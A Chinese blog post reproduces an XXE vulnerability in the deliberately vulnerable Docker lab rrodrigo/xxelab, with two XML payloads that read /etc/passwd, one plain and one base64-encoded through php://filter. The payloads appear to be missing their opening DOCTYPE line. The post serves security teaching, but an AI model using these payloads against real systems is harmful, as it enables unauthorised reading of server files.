docker搜索xxe相关镜像包,然后pull下来,我这里pull的是:rrodrigo/xxelab 镜像包。
启动docker环境,映射到VPS的32776端口
访问
输入注册数据,抓包重放。发现提交数据包采用 xml 格式传递,且邮箱有返回。
这里我们引用外部DTD实体,并且将email的值修改为引用外部实体的值 &file; 因为,返回包会返回email的值,所以返回包会读取我们引用的 /etc/passwd 的值返回给我们,造成了任意文件读取。
这里指定文件/etc/passwd,用不用file协议均可。
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY file SYSTEM "/etc/passwd">
]>
<root><name>111</name><tel>222</tel><email>&file;</email><password>333</password></root>
利用 base64 编码进行 xxe,防止有返回包验证。返回base64数据包,base64解码之。
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>111</name><tel>222</tel><email>&file;</email><password>333</password></root>
相关文章:XML和JSON数据格式
XXE(XML外部实体注入)
来源:谢公子的博客
责编:Zuo
本文始发于微信公众号(谢公子学安全):web漏洞|XXE漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论